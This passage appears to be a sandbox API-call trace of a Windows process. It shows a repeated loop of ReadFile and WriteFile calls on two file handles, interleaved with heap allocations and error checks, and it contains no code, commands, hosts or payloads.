GetLastError () returned 0x0 [0118.921] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.921] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.922] GetLastError () returned 0x0 [0118.922] GetCurrentThreadId () returned 0x9b0 [0118.922] GetLastError () returned 0x0 [0118.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.922] GetLastError () returned 0x0 [0118.923] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.923] GetLastError () returned 0x0 [0118.924] GetCurrentThreadId () returned 0x9b0 [0118.924] GetLastError () returned 0x0 [0118.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0118.924] GetCurrentThreadId () returned 0x9b0 [0118.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.924] GetLastError () returned 0x0 [0118.924] GetLastError () returned 0x0 [0118.925] GetLastError () returned 0x0 [0118.925] GetLastError () returned 0x0 [0118.925] GetCurrentThreadId () returned 0x9b0 [0118.925] GetLastError () returned 0x0 [0118.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0118.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0118.925] GetLastError () returned 0x0 [0118.925] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.926] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.927] GetLastError () returned 0x0 [0118.927] GetCurrentThreadId () returned 0x9b0 [0118.927] GetLastError () returned 0x0 [0118.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.927] GetLastError () returned 0x0 [0118.927] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.929] GetLastError () returned 0x0 [0118.929] GetCurrentThreadId () returned 0x9b0 [0118.929] GetLastError () returned 0x0 [0118.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0118.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.929] GetCurrentThreadId () returned 0x9b0 [0118.929] GetLastError () returned 0x0 [0118.930] GetLastError () returned 0x0 [0118.930] GetLastError () returned 0x0 [0118.930] GetLastError () returned 0x0 [0118.930] GetCurrentThreadId () returned 0x9b0 [0118.930] GetLastError () returned 0x0 [0118.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0118.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0118.930] GetLastError () returned 0x0 [0118.930] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.931] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.932] GetLastError () returned 0x0 [0118.932] GetCurrentThreadId () returned 0x9b0 [0118.932] GetLastError () returned 0x0 [0118.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.933] GetLastError () returned 0x0 [0118.933] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.933] GetLastError () returned 0x0 [0118.933] GetCurrentThreadId () returned 0x9b0 [0118.934] GetLastError () returned 0x0 [0118.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0118.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0118.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.935] GetCurrentThreadId () returned 0x9b0 [0118.935] GetLastError () returned 0x0 [0118.935] GetLastError () returned 0x0 [0118.935] GetLastError () returned 0x0 [0118.935] GetLastError () returned 0x0 [0118.935] GetCurrentThreadId () returned 0x9b0 [0118.935] GetLastError () returned 0x0 [0118.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0118.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0118.936] GetLastError () returned 0x0 [0118.936] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.936] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.937] GetLastError () returned 0x0 [0118.937] GetCurrentThreadId () returned 0x9b0 [0118.937] GetLastError () returned 0x0 [0118.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.938] GetLastError () returned 0x0 [0118.938] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.938] GetLastError () returned 0x0 [0118.938] GetCurrentThreadId () returned 0x9b0 [0118.938] GetLastError () returned 0x0 [0118.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0118.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.939] GetCurrentThreadId () returned 0x9b0 [0118.939] GetLastError () returned 0x0 [0118.939] GetLastError () returned 0x0 [0118.939] GetLastError () returned 0x0 [0118.939] GetLastError () returned 0x0 [0118.939] GetCurrentThreadId () returned 0x9b0 [0118.939] GetLastError () returned 0x0 [0118.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0118.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0118.940] GetLastError () returned 0x0 [0118.940] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.940] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.941] GetLastError () returned 0x0 [0118.941] GetCurrentThreadId () returned 0x9b0 [0118.941] GetLastError () returned 0x0 [0118.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.941] GetLastError () returned 0x0 [0118.942] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.945] GetLastError () returned 0x0 [0118.945] GetCurrentThreadId () returned 0x9b0 [0118.945] GetLastError () returned 0x0 [0118.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0118.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.946] GetCurrentThreadId () returned 0x9b0 [0118.946] GetLastError () returned 0x0 [0118.946] GetLastError () returned 0x0 [0118.946] GetLastError () returned 0x0 [0118.946] GetLastError () returned 0x0 [0118.946] GetCurrentThreadId () returned 0x9b0 [0118.946] GetLastError () returned 0x0 [0118.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.947] GetLastError () returned 0x0 [0118.947] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.947] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.948] GetLastError () returned 0x0 [0118.948] GetCurrentThreadId () returned 0x9b0 [0118.948] GetLastError () returned 0x0 [0118.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.949] GetLastError () returned 0x0 [0118.949] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.949] GetLastError () returned 0x0 [0118.949] GetCurrentThreadId () returned 0x9b0 [0118.949] GetLastError () returned 0x0 [0118.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0118.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.950] GetCurrentThreadId () returned 0x9b0 [0118.950] GetLastError () returned 0x0 [0118.950] GetLastError () returned 0x0 [0118.950] GetLastError () returned 0x0 [0118.950] GetLastError () returned 0x0 [0118.950] GetCurrentThreadId () returned 0x9b0 [0118.950] GetLastError () returned 0x0 [0118.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0118.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0118.951] GetLastError () returned 0x0 [0118.951] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.951] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.953] GetLastError () returned 0x0 [0118.953] GetCurrentThreadId () returned 0x9b0 [0118.953] GetLastError () returned 0x0 [0118.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.953] GetLastError () returned 0x0 [0118.953] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.954] GetLastError () returned 0x0 [0118.955] GetCurrentThreadId () returned 0x9b0 [0118.955] GetLastError () returned 0x0 [0118.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0118.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.955] GetCurrentThreadId () returned 0x9b0 [0118.955] GetLastError () returned 0x0 [0118.955] GetLastError () returned 0x0 [0118.955] GetLastError () returned 0x0 [0118.956] GetLastError () returned 0x0 [0118.956] GetCurrentThreadId () returned 0x9b0 [0118.956] GetLastError () returned 0x0 [0118.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0118.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0118.956] GetLastError () returned 0x0 [0118.956] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.957] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.957] GetLastError () returned 0x0 [0118.958] GetCurrentThreadId () returned 0x9b0 [0118.958] GetLastError () returned 0x0 [0118.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.958] GetLastError () returned 0x0 [0118.958] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.958] GetLastError () returned 0x0 [0118.958] GetCurrentThreadId () returned 0x9b0 [0118.958] GetLastError () returned 0x0 [0118.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0118.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0118.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.959] GetLastError () returned 0x0 [0118.959] GetLastError () returned 0x0 [0118.959] GetLastError () returned 0x0 [0118.959] GetLastError () returned 0x0 [0118.959] GetCurrentThreadId () returned 0x9b0 [0118.960] GetLastError () returned 0x0 [0118.960] GetCurrentThreadId () returned 0x9b0 [0118.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0118.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0118.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0118.960] GetLastError () returned 0x0 [0118.960] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.960] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.962] GetLastError () returned 0x0 [0118.962] GetCurrentThreadId () returned 0x9b0 [0118.962] GetLastError () returned 0x0 [0118.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.962] GetLastError () returned 0x0 [0118.962] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.964] GetLastError () returned 0x0 [0118.964] GetCurrentThreadId () returned 0x9b0 [0118.964] GetLastError () returned 0x0 [0118.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265418 [0118.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0118.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.965] GetLastError () returned 0x0 [0118.965] GetLastError () returned 0x0 [0118.965] GetLastError () returned 0x0 [0118.965] GetLastError () returned 0x0 [0118.965] GetCurrentThreadId () returned 0x9b0 [0118.965] GetLastError () returned 0x0 [0118.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.966] GetLastError () returned 0x0 [0118.966] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.966] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.967] GetLastError () returned 0x0 [0118.967] GetCurrentThreadId () returned 0x9b0 [0118.967] GetLastError () returned 0x0 [0118.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.967] GetCurrentThreadId () returned 0x9b0 [0118.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.967] GetLastError () returned 0x0 [0118.967] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.968] GetLastError () returned 0x0 [0118.968] GetCurrentThreadId () returned 0x9b0 [0118.968] GetLastError () returned 0x0 [0118.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265418 | out: hHeap=0x2ad0000) returned 1 [0118.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.968] GetLastError () returned 0x0 [0118.969] GetLastError () returned 0x0 [0118.969] GetLastError () returned 0x0 [0118.969] GetLastError () returned 0x0 [0118.969] GetCurrentThreadId () returned 0x9b0 [0118.969] GetLastError () returned 0x0 [0118.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0118.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0118.970] GetLastError () returned 0x0 [0118.970] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.970] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.972] GetLastError () returned 0x0 [0118.972] GetCurrentThreadId () returned 0x9b0 [0118.972] GetLastError () returned 0x0 [0118.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.972] GetLastError () returned 0x0 [0118.972] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.973] GetLastError () returned 0x0 [0118.973] GetCurrentThreadId () returned 0x9b0 [0118.973] GetLastError () returned 0x0 [0118.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.974] GetCurrentThreadId () returned 0x9b0 [0118.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0118.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.974] GetLastError () returned 0x0 [0118.974] GetLastError () returned 0x0 [0118.974] GetLastError () returned 0x0 [0118.974] GetLastError () returned 0x0 [0118.975] GetCurrentThreadId () returned 0x9b0 [0118.975] GetLastError () returned 0x0 [0118.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0118.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0118.975] GetLastError () returned 0x0 [0118.975] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, 